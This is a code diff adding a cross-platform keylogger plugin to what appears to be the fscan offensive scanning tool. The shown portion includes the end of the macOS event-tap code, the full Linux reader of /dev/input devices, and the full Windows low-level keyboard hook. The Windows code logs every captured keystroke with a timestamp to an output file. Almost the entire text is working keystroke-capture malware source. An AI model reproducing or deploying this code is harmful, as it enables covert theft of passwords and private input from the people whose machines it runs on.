// 停止事件监听
|
||||
void stopEventMonitoring(void) {
|
||||
if (!isMonitoring) {
|
||||
return;
|
||||
}
|
||||
|
||||
if (eventTap) {
|
||||
CGEventTapEnable(eventTap, false);
|
||||
CFRelease(eventTap);
|
||||
eventTap = NULL;
|
||||
}
|
||||
|
||||
if (runLoopSource) {
|
||||
CFRunLoopRemoveSource(CFRunLoopGetCurrent(), runLoopSource, kCFRunLoopCommonModes);
|
||||
CFRelease(runLoopSource);
|
||||
runLoopSource = NULL;
|
||||
}
|
||||
|
||||
isMonitoring = false;
|
||||
}
|
||||
*/
|
||||
import "C"
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"time"
|
||||
"unsafe"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
)
|
||||
|
||||
var darwinKeylogger *KeyloggerPlugin
|
||||
|
||||
// checkDarwinRequirements 检查Darwin特定要求
|
||||
func (p *KeyloggerPlugin) checkDarwinRequirements() error {
|
||||
common.LogInfo("检查macOS键盘记录权限...")
|
||||
|
||||
// 检查辅助功能权限
|
||||
// 注意:实际运行时需要用户手动在系统偏好设置中授权
|
||||
common.LogInfo("注意: macOS系统需要在'系统偏好设置 > 安全性与隐私 > 辅助功能'中授权此应用")
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// startDarwinKeylogging 启动Darwin键盘记录
|
||||
func (p *KeyloggerPlugin) startDarwinKeylogging(ctx context.Context) error {
|
||||
common.LogInfo("启动macOS键盘记录...")
|
||||
|
||||
// 设置全局引用
|
||||
darwinKeylogger = p
|
||||
|
||||
// 启动事件监听
|
||||
result := C.startEventMonitoring()
|
||||
switch result {
|
||||
case -1:
|
||||
return fmt.Errorf("macOS辅助功能权限未授权,请在系统偏好设置中启用")
|
||||
case -2:
|
||||
return fmt.Errorf("创建键盘事件监听失败")
|
||||
case 0:
|
||||
common.LogInfo("macOS键盘事件监听已启动")
|
||||
default:
|
||||
return fmt.Errorf("启动键盘监听时发生未知错误: %d", result)
|
||||
}
|
||||
|
||||
// 启动RunLoop来处理事件
|
||||
go p.runEventLoop(ctx)
|
||||
|
||||
// 等待上下文取消
|
||||
<-ctx.Done()
|
||||
|
||||
// 停止事件监听
|
||||
C.stopEventMonitoring()
|
||||
common.LogInfo("macOS键盘记录已停止")
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// runEventLoop 运行事件循环
|
||||
func (p *KeyloggerPlugin) runEventLoop(ctx context.Context) {
|
||||
// 这里需要运行Core Foundation的RunLoop来处理事件
|
||||
// 由于Go和C的交互限制,我们使用简单的循环来保持程序运行
|
||||
ticker := time.NewTicker(100 * time.Millisecond)
|
||||
defer ticker.Stop()
|
||||
|
||||
for {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return
|
||||
case <-ticker.C:
|
||||
// 保持循环运行,让C的事件处理能够工作
|
||||
continue
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// handleKeyEvent Go回调函数,由C代码调用
|
||||
//export handleKeyEvent
|
||||
func handleKeyEvent(keyCode C.int, isKeyDown C.int) {
|
||||
if darwinKeylogger == nil {
|
||||
return
|
||||
}
|
||||
|
||||
// 只处理按键按下事件
|
||||
if isKeyDown == 1 {
|
||||
keyChar := getDarwinKeyChar(int(keyCode))
|
||||
if keyChar != "" {
|
||||
darwinKeylogger.addKeyToBuffer(keyChar)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// getDarwinKeyChar 获取macOS按键字符
|
||||
func getDarwinKeyChar(keyCode int) string {
|
||||
// macOS虚拟键码映射
|
||||
keyMap := map[int]string{
|
||||
0: "a", 1: "s", 2: "d", 3: "f", 4: "h", 5: "g", 6: "z", 7: "x", 8: "c", 9: "v",
|
||||
11: "b", 12: "q", 13: "w", 14: "e", 15: "r", 16: "y", 17: "t",
|
||||
18: "1", 19: "2", 20: "3", 21: "4", 22: "6", 23: "5", 24: "=", 25: "9", 26: "7",
|
||||
27: "-", 28: "8", 29: "0", 30: "]", 31: "o", 32: "u", 33: "[", 34: "i", 35: "p",
|
||||
36: "[Enter]",
|
||||
37: "l", 38: "j", 39: "'", 40: "k", 41: ";", 42: "\\", 43: ",", 44: "/", 45: "n",
|
||||
46: "m", 47: ".",
|
||||
48: "[Tab]",
|
||||
49: " ", // 空格
|
||||
50: "`",
|
||||
51: "[Delete]",
|
||||
53: "[Esc]",
|
||||
55: "[Cmd]",
|
||||
56: "[Shift]",
|
||||
57: "[CapsLock]",
|
||||
58: "[Option]",
|
||||
59: "[Ctrl]",
|
||||
60: "[RShift]",
|
||||
61: "[ROption]",
|
||||
62: "[RCtrl]",
|
||||
63: "[Fn]",
|
||||
64: "[F17]",
|
||||
65: "[KeypadDecimal]",
|
||||
67: "[KeypadMultiply]",
|
||||
69: "[KeypadPlus]",
|
||||
71: "[KeypadClear]",
|
||||
72: "[VolumeUp]",
|
||||
73: "[VolumeDown]",
|
||||
74: "[Mute]",
|
||||
75: "[KeypadDivide]",
|
||||
76: "[KeypadEnter]",
|
||||
78: "[KeypadMinus]",
|
||||
79: "[F18]",
|
||||
80: "[F19]",
|
||||
81: "[KeypadEquals]",
|
||||
82: "[Keypad0]", 83: "[Keypad1]", 84: "[Keypad2]", 85: "[Keypad3]",
|
||||
86: "[Keypad4]", 87: "[Keypad5]", 88: "[Keypad6]", 89: "[Keypad7]",
|
||||
91: "[Keypad8]", 92: "[Keypad9]",
|
||||
96: "[F5]",
|
||||
97: "[F6]",
|
||||
98: "[F7]",
|
||||
99: "[F3]",
|
||||
100: "[F8]",
|
||||
101: "[F9]",
|
||||
103: "[F11]",
|
||||
105: "[F13]",
|
||||
106: "[F16]",
|
||||
107: "[F14]",
|
||||
109: "[F10]",
|
||||
111: "[F12]",
|
||||
113: "[F15]",
|
||||
114: "[Help]",
|
||||
115: "[Home]",
|
||||
116: "[PgUp]",
|
||||
117: "[ForwardDelete]",
|
||||
118: "[F4]",
|
||||
119: "[End]",
|
||||
120: "[F2]",
|
||||
121: "[PgDn]",
|
||||
122: "[F1]",
|
||||
123: "[Left]",
|
||||
124: "[Right]",
|
||||
125: "[Down]",
|
||||
126: "[Up]",
|
||||
}
|
||||
|
||||
if keyName, exists := keyMap[keyCode]; exists {
|
||||
return keyName
|
||||
}
|
||||
|
||||
return fmt.Sprintf("[KEY_%d]", keyCode)
|
||||
}
|
||||
|
||||
// checkWindowsRequirements 检查Windows特定要求(Darwin平台的空实现)
|
||||
func (p *KeyloggerPlugin) checkWindowsRequirements() error {
|
||||
return fmt.Errorf("不支持的平台")
|
||||
}
|
||||
|
||||
// checkLinuxRequirements 检查Linux特定要求(Darwin平台的空实现)
|
||||
func (p *KeyloggerPlugin) checkLinuxRequirements() error {
|
||||
return fmt.Errorf("不支持的平台")
|
||||
}
|
||||
|
||||
// startWindowsKeylogging 启动Windows键盘记录(Darwin平台的空实现)
|
||||
func (p *KeyloggerPlugin) startWindowsKeylogging(ctx context.Context) error {
|
||||
return fmt.Errorf("不支持的平台")
|
||||
}
|
||||
|
||||
// startLinuxKeylogging 启动Linux键盘记录(Darwin平台的空实现)
|
||||
func (p *KeyloggerPlugin) startLinuxKeylogging(ctx context.Context) error {
|
||||
return fmt.Errorf("不支持的平台")
|
||||
}
|
282
Plugins/local/keylogger/keylogger_linux.go
Normal file
282
Plugins/local/keylogger/keylogger_linux.go
Normal file
@ -0,0 +1,282 @@
|
||||
// +build linux
|
||||
|
||||
package keylogger
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"context"
|
||||
"encoding/binary"
|
||||
"fmt"
|
||||
"io/fs"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
)
|
||||
|
||||
// Linux输入事件结构
|
||||
type InputEvent struct {
|
||||
Time [2]int64 // struct timeval
|
||||
Type uint16
|
||||
Code uint16
|
||||
Value int32
|
||||
}
|
||||
|
||||
const (
|
||||
EV_KEY = 1
|
||||
KEY_PRESS = 1
|
||||
KEY_RELEASE = 0
|
||||
)
|
||||
|
||||
// checkLinuxRequirements 检查Linux特定要求
|
||||
func (p *KeyloggerPlugin) checkLinuxRequirements() error {
|
||||
common.LogInfo("检查Linux键盘记录权限...")
|
||||
|
||||
// 检查/dev/input目录访问权限
|
||||
if _, err := os.Stat("/dev/input"); os.IsNotExist(err) {
|
||||
return fmt.Errorf("/dev/input目录不存在,可能不是标准Linux系统")
|
||||
}
|
||||
|
||||
// 检查是否有输入设备
|
||||
inputDevices, err := p.findKeyboardDevices()
|
||||
if err != nil {
|
||||
return fmt.Errorf("查找键盘设备失败: %v", err)
|
||||
}
|
||||
|
||||
if len(inputDevices) == 0 {
|
||||
common.LogInfo("警告: 未找到键盘设备,将尝试监听所有输入设备")
|
||||
} else {
|
||||
common.LogInfo(fmt.Sprintf("找到 %d 个键盘设备", len(inputDevices)))
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// startLinuxKeylogging 启动Linux键盘记录
|
||||
func (p *KeyloggerPlugin) startLinuxKeylogging(ctx context.Context) error {
|
||||
common.LogInfo("启动Linux键盘记录...")
|
||||
|
||||
// 查找键盘设备
|
||||
devices, err := p.findKeyboardDevices()
|
||||
if err != nil {
|
||||
return fmt.Errorf("查找键盘设备失败: %v", err)
|
||||
}
|
||||
|
||||
if len(devices) == 0 {
|
||||
// 如果找不到明确的键盘设备,尝试监听所有事件设备
|
||||
devices, err = p.findAllInputDevices()
|
||||
if err != nil {
|
||||
return fmt.Errorf("查找输入设备失败: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
if len(devices) == 0 {
|
||||
return fmt.Errorf("未找到任何输入设备")
|
||||
}
|
||||
|
||||
common.LogInfo(fmt.Sprintf("开始监听 %d 个设备", len(devices)))
|
||||
|
||||
// 启动设备监听goroutine
|
||||
for _, device := range devices {
|
||||
go p.monitorDevice(ctx, device)
|
||||
}
|
||||
|
||||
// 等待上下文取消
|
||||
<-ctx.Done()
|
||||
return nil
|
||||
}
|
||||
|
||||
// findKeyboardDevices 查找键盘设备
|
||||
func (p *KeyloggerPlugin) findKeyboardDevices() ([]string, error) {
|
||||
var keyboards []string
|
||||
|
||||
// 检查/proc/bus/input/devices文件
|
||||
devicesFile := "/proc/bus/input/devices"
|
||||
file, err := os.Open(devicesFile)
|
||||
if err != nil {
|
||||
common.LogInfo("无法打开/proc/bus/input/devices,尝试扫描/dev/input")
|
||||
return p.findAllInputDevices()
|
||||
}
|
||||
defer file.Close()
|
||||
|
||||
scanner := bufio.NewScanner(file)
|
||||
var currentDevice string
|
||||
var isKeyboard bool
|
||||
|
||||
for scanner.Scan() {
|
||||
line := strings.TrimSpace(scanner.Text())
|
||||
|
||||
if strings.HasPrefix(line, "I:") {
|
||||
// 新设备开始
|
||||
isKeyboard = false
|
||||
currentDevice = ""
|
||||
} else if strings.HasPrefix(line, "N:") {
|
||||
// 设备名称
|
||||
if strings.Contains(strings.ToLower(line), "keyboard") ||
|
||||
strings.Contains(strings.ToLower(line), "kbd") {
|
||||
isKeyboard = true
|
||||
}
|
||||
} else if strings.HasPrefix(line, "H:") && isKeyboard {
|
||||
// 设备处理器
|
||||
parts := strings.Fields(line)
|
||||
for _, part := range parts {
|
||||
if strings.HasPrefix(part, "event") {
|
||||
eventNum := strings.TrimPrefix(part, "event")
|
||||
devicePath := fmt.Sprintf("/dev/input/event%s", eventNum)
|
||||
keyboards = append(keyboards, devicePath)
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return keyboards, nil
|
||||
}
|
||||
|
||||
// findAllInputDevices 查找所有输入设备
|
||||
func (p *KeyloggerPlugin) findAllInputDevices() ([]string, error) {
|
||||
var devices []string
|
||||
|
||||
err := filepath.WalkDir("/dev/input", func(path string, d fs.DirEntry, err error) error {
|
||||
if err != nil {
|
||||
return nil // 跳过错误
|
||||
}
|
||||
|
||||
if strings.HasPrefix(d.Name(), "event") {
|
||||
devices = append(devices, path)
|
||||
}
|
||||
|
||||
return nil
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return devices, nil
|
||||
}
|
||||
|
||||
// monitorDevice 监听设备
|
||||
func (p *KeyloggerPlugin) monitorDevice(ctx context.Context, devicePath string) {
|
||||
common.LogInfo(fmt.Sprintf("开始监听设备: %s", devicePath))
|
||||
|
||||
file, err := os.Open(devicePath)
|
||||
if err != nil {
|
||||
common.LogError(fmt.Sprintf("无法打开设备 %s: %v", devicePath, err))
|
||||
return
|
||||
}
|
||||
defer file.Close()
|
||||
|
||||
for {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return
|
||||
default:
|
||||
var event InputEvent
|
||||
err := binary.Read(file, binary.LittleEndian, &event)
|
||||
if err != nil {
|
||||
common.LogError(fmt.Sprintf("读取设备 %s 事件失败: %v", devicePath, err))
|
||||
return
|
||||
}
|
||||
|
||||
// 处理键盘事件
|
||||
if event.Type == EV_KEY && event.Value == KEY_PRESS {
|
||||
keyChar := p.getLinuxKeyChar(event.Code)
|
||||
if keyChar != "" {
|
||||
p.addKeyToBuffer(keyChar)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// getLinuxKeyChar 获取Linux按键字符
|
||||
func (p *KeyloggerPlugin) getLinuxKeyChar(keyCode uint16) string {
|
||||
// Linux内核输入子系统键码映射
|
||||
keyMap := map[uint16]string{
|
||||
1: "[Esc]",
|
||||
2: "1", 3: "2", 4: "3", 5: "4", 6: "5", 7: "6", 8: "7", 9: "8", 10: "9", 11: "0",
|
||||
12: "-", 13: "=",
|
||||
14: "[Backspace]",
|
||||
15: "[Tab]",
|
||||
16: "q", 17: "w", 18: "e", 19: "r", 20: "t", 21: "y", 22: "u", 23: "i", 24: "o", 25: "p",
|
||||
26: "[", 27: "]",
|
||||
28: "[Enter]",
|
||||
29: "[LCtrl]",
|
||||
30: "a", 31: "s", 32: "d", 33: "f", 34: "g", 35: "h", 36: "j", 37: "k", 38: "l",
|
||||
39: ";", 40: "'",
|
||||
41: "`",
|
||||
42: "[LShift]",
|
||||
43: "\\",
|
||||
44: "z", 45: "x", 46: "c", 47: "v", 48: "b", 49: "n", 50: "m",
|
||||
51: ",", 52: ".", 53: "/",
|
||||
54: "[RShift]",
|
||||
55: "*",
|
||||
56: "[LAlt]",
|
||||
57: " ", // 空格
|
||||
58: "[CapsLock]",
|
||||
59: "[F1]", 60: "[F2]", 61: "[F3]", 62: "[F4]", 63: "[F5]", 64: "[F6]",
|
||||
65: "[F7]", 66: "[F8]", 67: "[F9]", 68: "[F10]",
|
||||
69: "[NumLock]",
|
||||
70: "[ScrollLock]",
|
||||
71: "[Home]",
|
||||
72: "[Up]",
|
||||
73: "[PgUp]",
|
||||
74: "-",
|
||||
75: "[Left]",
|
||||
76: "[Center]",
|
||||
77: "[Right]",
|
||||
78: "+",
|
||||
79: "[End]",
|
||||
80: "[Down]",
|
||||
81: "[PgDn]",
|
||||
82: "[Insert]",
|
||||
83: "[Delete]",
|
||||
87: "[F11]", 88: "[F12]",
|
||||
96: "[REnter]",
|
||||
97: "[RCtrl]",
|
||||
98: "/",
|
||||
99: "[PrtSc]",
|
||||
100: "[RAlt]",
|
||||
102: "[Home]",
|
||||
103: "[Up]",
|
||||
104: "[PgUp]",
|
||||
105: "[Left]",
|
||||
106: "[Right]",
|
||||
107: "[End]",
|
||||
108: "[Down]",
|
||||
109: "[PgDn]",
|
||||
110: "[Insert]",
|
||||
111: "[Delete]",
|
||||
125: "[LWin]",
|
||||
126: "[RWin]",
|
||||
127: "[Menu]",
|
||||
}
|
||||
|
||||
if keyName, exists := keyMap[keyCode]; exists {
|
||||
return keyName
|
||||
}
|
||||
|
||||
return fmt.Sprintf("[KEY_%d]", keyCode)
|
||||
}
|
||||
|
||||
// checkWindowsRequirements 检查Windows特定要求(Linux平台的空实现)
|
||||
func (p *KeyloggerPlugin) checkWindowsRequirements() error {
|
||||
return fmt.Errorf("不支持的平台")
|
||||
}
|
||||
|
||||
// checkDarwinRequirements 检查Darwin特定要求(Linux平台的空实现)
|
||||
func (p *KeyloggerPlugin) checkDarwinRequirements() error {
|
||||
return fmt.Errorf("不支持的平台")
|
||||
}
|
||||
|
||||
// startWindowsKeylogging 启动Windows键盘记录(Linux平台的空实现)
|
||||
func (p *KeyloggerPlugin) startWindowsKeylogging(ctx context.Context) error {
|
||||
return fmt.Errorf("不支持的平台")
|
||||
}
|
||||
|
||||
// startDarwinKeylogging 启动Darwin键盘记录(Linux平台的空实现)
|
||||
func (p *KeyloggerPlugin) startDarwinKeylogging(ctx context.Context) error {
|
||||
return fmt.Errorf("不支持的平台")
|
||||
}
|
28
Plugins/local/keylogger/keylogger_other.go
Normal file
28
Plugins/local/keylogger/keylogger_other.go
Normal file
@ -0,0 +1,28 @@
|
||||
// +build !windows,!linux,!darwin
|
||||
|
||||
package keylogger
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
)
|
||||
|
||||
// checkLinuxRequirements 检查Linux特定要求(其他平台的空实现)
|
||||
func (p *KeyloggerPlugin) checkLinuxRequirements() error {
|
||||
return fmt.Errorf("不支持的平台")
|
||||
}
|
||||
|
||||
// checkDarwinRequirements 检查Darwin特定要求(其他平台的空实现)
|
||||
func (p *KeyloggerPlugin) checkDarwinRequirements() error {
|
||||
return fmt.Errorf("不支持的平台")
|
||||
}
|
||||
|
||||
// startLinuxKeylogging 启动Linux键盘记录(其他平台的空实现)
|
||||
func (p *KeyloggerPlugin) startLinuxKeylogging(ctx context.Context) error {
|
||||
return fmt.Errorf("不支持的平台")
|
||||
}
|
||||
|
||||
// startDarwinKeylogging 启动Darwin键盘记录(其他平台的空实现)
|
||||
func (p *KeyloggerPlugin) startDarwinKeylogging(ctx context.Context) error {
|
||||
return fmt.Errorf("不支持的平台")
|
||||
}
|
337
Plugins/local/keylogger/keylogger_windows.go
Normal file
337
Plugins/local/keylogger/keylogger_windows.go
Normal file
@ -0,0 +1,337 @@
|
||||
// +build windows
|
||||
|
||||
package keylogger
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"os"
|
||||
"syscall"
|
||||
"time"
|
||||
"unsafe"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
)
|
||||
|
||||
// Windows API 声明
|
||||
var (
|
||||
user32 = syscall.NewLazyDLL("user32.dll")
|
||||
kernel32 = syscall.NewLazyDLL("kernel32.dll")
|
||||
procSetWindowsHookEx = user32.NewProc("SetWindowsHookExW")
|
||||
procCallNextHookEx = user32.NewProc("CallNextHookEx")
|
||||
procUnhookWindowsHookEx = user32.NewProc("UnhookWindowsHookEx")
|
||||
procGetMessage = user32.NewProc("GetMessageW")
|
||||
procGetModuleHandle = kernel32.NewProc("GetModuleHandleW")
|
||||
procGetAsyncKeyState = user32.NewProc("GetAsyncKeyState")
|
||||
)
|
||||
|
||||
const (
|
||||
WH_KEYBOARD_LL = 13
|
||||
WM_KEYDOWN = 0x0100
|
||||
WM_KEYUP = 0x0101
|
||||
WM_SYSKEYDOWN = 0x0104
|
||||
WM_SYSKEYUP = 0x0105
|
||||
)
|
||||
|
||||
type (
|
||||
DWORD uint32
|
||||
WPARAM uintptr
|
||||
LPARAM uintptr
|
||||
LRESULT uintptr
|
||||
HANDLE uintptr
|
||||
HHOOK HANDLE
|
||||
HWND HANDLE
|
||||
)
|
||||
|
||||
type POINT struct {
|
||||
X, Y int32
|
||||
}
|
||||
|
||||
type MSG struct {
|
||||
HWND HWND
|
||||
Message uint32
|
||||
WParam WPARAM
|
||||
LParam LPARAM
|
||||
Time uint32
|
||||
Pt POINT
|
||||
}
|
||||
|
||||
type KBDLLHOOKSTRUCT struct {
|
||||
VkCode DWORD
|
||||
ScanCode DWORD
|
||||
Flags DWORD
|
||||
Time DWORD
|
||||
DwExtraInfo uintptr
|
||||
}
|
||||
|
||||
// 全局变量 - 简化版本
|
||||
var (
|
||||
windowsHook HHOOK
|
||||
keylogger *KeyloggerPlugin
|
||||
logFile *os.File
|
||||
eventChannel chan KeyboardEvent
|
||||
stopHookChan chan bool
|
||||
)
|
||||
|
||||
// KeyboardEvent 键盘事件结构,模仿gohook的设计
|
||||
type KeyboardEvent struct {
|
||||
Kind EventKind
|
||||
Rawcode uint16
|
||||
Keychar string
|
||||
Timestamp time.Time
|
||||
}
|
||||
|
||||
type EventKind int
|
||||
|
||||
const (
|
||||
KeyDown EventKind = iota
|
||||
KeyUp
|
||||
)
|
||||
|
||||
// startWindowsKeylogging 启动Windows键盘记录 - 高效版本
|
||||
func (p *KeyloggerPlugin) startWindowsKeylogging(ctx context.Context) error {
|
||||
common.LogInfo("启动Windows键盘记录 (高效版本)...")
|
||||
|
||||
keylogger = p
|
||||
|
||||
// 创建事件通道(模仿gohook的设计)
|
||||
eventChannel = make(chan KeyboardEvent, 100)
|
||||
stopHookChan = make(chan bool, 1)
|
||||
|
||||
// 打开日志文件进行实时写入
|
||||
var err error
|
||||
logFile, err = os.OpenFile(p.outputFile, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0600)
|
||||
if err != nil {
|
||||
return fmt.Errorf("无法创建输出文件 %s: %v", p.outputFile, err)
|
||||
}
|
||||
defer func() {
|
||||
if logFile != nil {
|
||||
logFile.Close()
|
||||
logFile = nil
|
||||
}
|
||||
}()
|
||||
|
||||
// 写入文件头部
|
||||
p.writeLogHeader()
|
||||
|
||||
// 启动Hook监听(在独立goroutine中)
|
||||
go p.startKeyboardHook()
|
||||
|
||||
// 启动事件处理(模仿你的for ev := range evChan的模式)
|
||||
return p.processEvents(ctx)
|
||||
}
|
||||
|
||||
// startKeyboardHook 启动键盘Hook监听
|
||||
func (p *KeyloggerPlugin) startKeyboardHook() {
|
||||
// 安装Hook
|
||||
hookProc := syscall.NewCallback(keyboardHookProc)
|
||||
moduleHandle, _, _ := procGetModuleHandle.Call(0)
|
||||
|
||||
hook, _, _ := procSetWindowsHookEx.Call(
|
||||
uintptr(WH_KEYBOARD_LL),
|
||||
hookProc,
|
||||
moduleHandle,
|
||||
0,
|
||||
)
|
||||
|
||||
if hook == 0 {
|
||||
common.LogError("安装键盘Hook失败")
|
||||
return
|
||||
}
|
||||
|
||||
windowsHook = HHOOK(hook)
|
||||
common.LogInfo("键盘Hook安装成功")
|
||||
|
||||
// 消息循环
|
||||
msg := &MSG{}
|
||||
for {
|
||||
select {
|
||||
case <-stopHookChan:
|
||||
// 清理Hook
|
||||
procUnhookWindowsHookEx.Call(uintptr(windowsHook))
|
||||
common.LogInfo("键盘Hook已清理")
|
||||
return
|
||||
default:
|
||||
// 非阻塞消息处理
|
||||
ret, _, _ := procGetMessage.Call(
|
||||
uintptr(unsafe.Pointer(msg)),
|
||||
0, 0, 0,
|
||||
)
|
||||
if ret == 0 || ret == 0xFFFFFFFF {
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// keyboardHookProc Hook回调函数 - 简化版本
|
||||
func keyboardHookProc(nCode int, wParam WPARAM, lParam LPARAM) LRESULT {
|
||||
// 立即调用下一个Hook,确保系统响应
|
||||
ret, _, _ := procCallNextHookEx.Call(
|
||||
uintptr(windowsHook),
|
||||
uintptr(nCode),
|
||||
uintptr(wParam),
|
||||
uintptr(lParam),
|
||||
)
|
||||
|
||||
// 快速处理我们的逻辑
|
||||
if nCode >= 0 && eventChannel != nil {
|
||||
if wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN {
|
||||
kbdStruct := (*KBDLLHOOKSTRUCT)(unsafe.Pointer(lParam))
|
||||
vkCode := kbdStruct.VkCode
|
||||
|
||||
|
||||
keychar := quickKeyChar(vkCode)
|
||||
if keychar != "" {
|
||||
// 非阻塞发送事件
|
||||
select {
|
||||
case eventChannel <- KeyboardEvent{
|
||||
Kind: KeyDown,
|
||||
Rawcode: uint16(vkCode),
|
||||
Keychar: keychar,
|
||||
Timestamp: time.Now(),
|
||||
}:
|
||||
default:
|
||||
// 通道满了就跳过,不阻塞系统
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return LRESULT(ret)
|
||||
}
|
||||
|
||||
// processEvents 处理键盘事件 - 完全模仿你的设计
|
||||
func (p *KeyloggerPlugin) processEvents(ctx context.Context) error {
|
||||
common.LogInfo("开始处理键盘事件...")
|
||||
|
||||
// 完全模仿你的for ev := range evChan模式
|
||||
for {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
common.LogInfo("收到上下文取消信号,退出键盘记录")
|
||||
stopHookChan <- true
|
||||
return nil
|
||||
|
||||
case ev := <-eventChannel:
|
||||
// 只处理按键按下事件(模仿你的 if ev.Kind == hook.KeyDown)
|
||||
if ev.Kind == KeyDown && ev.Keychar != "" {
|
||||
// 写入文件 - 完全模仿你的实时写入模式
|
||||
fmt.Fprintf(logFile, "[%s] %s\n",
|
||||
ev.Timestamp.Format("15:04:05.000"), ev.Keychar)
|
||||
logFile.Sync() // 模仿你的f.Sync()
|
||||
|
||||
// 添加到内存缓冲区用于统计
|
||||
p.bufferMutex.Lock()
|
||||
p.keyBuffer = append(p.keyBuffer, fmt.Sprintf("[%s] %s",
|
||||
ev.Timestamp.Format("2006-01-02 15:04:05"), ev.Keychar))
|
||||
p.bufferMutex.Unlock()
|
||||
|
||||
common.LogDebug(fmt.Sprintf("记录按键: %s (Rawcode: %d)", ev.Keychar, ev.Rawcode))
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// writeLogHeader 写入日志文件头部
|
||||
func (p *KeyloggerPlugin) writeLogHeader() {
|
||||
if logFile == nil {
|
||||
return
|
||||
}
|
||||
|
||||
// 模仿你的日志格式
|
||||
fmt.Fprintf(logFile, "开始记录: %s\n", time.Now().Format("2006-01-02 15:04:05"))
|
||||
fmt.Fprintf(logFile, "记录模式: 持续记录\n")
|
||||
fmt.Fprintf(logFile, "平台: Windows (高效版本)\n")
|
||||
fmt.Fprintf(logFile, "================================\n\n")
|
||||
logFile.Sync()
|
||||
}
|
||||
|
||||
// quickKeyChar 快速键码转字符(简化版本)
|
||||
func quickKeyChar(vkCode DWORD) string {
|
||||
switch {
|
||||
// 数字0-9
|
||||
case vkCode >= 0x30 && vkCode <= 0x39:
|
||||
return string(rune(vkCode))
|
||||
|
||||
// 字母A-Z (统一转小写)
|
||||
case vkCode >= 0x41 && vkCode <= 0x5A:
|
||||
return string(rune(vkCode + 32))
|
||||
|
||||
// 基本特殊字符
|
||||
case vkCode == 0x20:
|
||||
return " "
|
||||
case vkCode == 0x0D:
|
||||
return "[Enter]"
|
||||
case vkCode == 0x08:
|
||||
return "[Backspace]"
|
||||
case vkCode == 0x09:
|
||||
return "[Tab]"
|
||||
case vkCode == 0x1B:
|
||||
return "[Esc]"
|
||||
case vkCode == 0x2E:
|
||||
return "[Delete]"
|
||||
|
||||
// 方向键
|
||||
case vkCode == 0x25:
|
||||
return "[Left]"
|
||||
case vkCode == 0x26:
|
||||
return "[Up]"
|
||||
case vkCode == 0x27:
|
||||
return "[Right]"
|
||||
case vkCode == 0x28:
|
||||
return "[Down]"
|
||||
|
||||
// 特殊键 (包括左右Shift/Ctrl/Alt)
|
||||
case vkCode == 0x10 || vkCode == 0xA0 || vkCode == 0xA1: // VK_SHIFT, VK_LSHIFT, VK_RSHIFT
|
||||
return "[Shift]"
|
||||
case vkCode == 0x11 || vkCode == 0xA2 || vkCode == 0xA3: // VK_CONTROL, VK_LCONTROL, VK_RCONTROL
|
||||
return "[Ctrl]"
|
||||
case vkCode == 0x12 || vkCode == 0xA4 || vkCode == 0xA5: // VK_MENU, VK_LMENU, VK_RMENU
|
||||
return "[Alt]"
|
||||
|
||||
// 基本标点符号
|
||||
case vkCode == 0xBA: // ;
|
||||
return ";"
|
||||
case vkCode == 0xBB: // =
|
||||
return "="
|
||||
case vkCode == 0xBC: // ,
|
||||
return ","
|
||||
case vkCode == 0xBD: // -
|
||||
return "-"
|
||||
case vkCode == 0xBE: // .
|
||||
return "."
|
||||
case vkCode == 0xBF: // /
|
||||
return "/"
|
||||
|
||||
// 功能键
|
||||
case vkCode >= 0x70 && vkCode <= 0x7B: // F1-F12
|
||||
return fmt.Sprintf("[F%d]", vkCode-0x6F)
|
||||
|
||||
default:
|
||||
return "" // 跳过其他按键,保持高性能
|
||||
}
|
||||
}
|
||||
|
||||
// checkWindowsRequirements 检查Windows特定要求
|
||||
func (p *KeyloggerPlugin) checkWindowsRequirements() error {
|
||||
common.LogInfo("检查Windows键盘记录权限...")
|
||||
return nil
|
||||
}
|
||||
|
||||
// 其他平台的空实现
|
||||
func (p *KeyloggerPlugin) startLinuxKeylogging(ctx context.Context) error {
|
||||
return fmt.Errorf("Linux平台请使用专门的实现")
|
||||
}
|
||||
|
||||
func (p *KeyloggerPlugin) startDarwinKeylogging(ctx context.Context) error {
|
||||
return fmt.Errorf("Darwin平台请使用专门的实现")
|
||||
}
|
||||
|
||||
func (p *KeyloggerPlugin) checkLinuxRequirements() error {
|
||||
return fmt.Errorf("不支持的平台")
|
||||
}
|
||||
|
||||
func (p *KeyloggerPlugin) checkDarwinRequirements() error {
|
||||
return fmt.Errorf("不支持的平台")
|
||||
}
|
289
Plugins/local/keylogger/plugin.go
Normal file
289
Plugins/local/keylogger/plugin.go
Normal file
@ -0,0 +1,289 @@
|
||||
package keylogger
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"os"
|
||||
"runtime"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/plugins/base"
|
||||
"github.com/shadow1ng/fscan/plugins/local"
|
||||
)
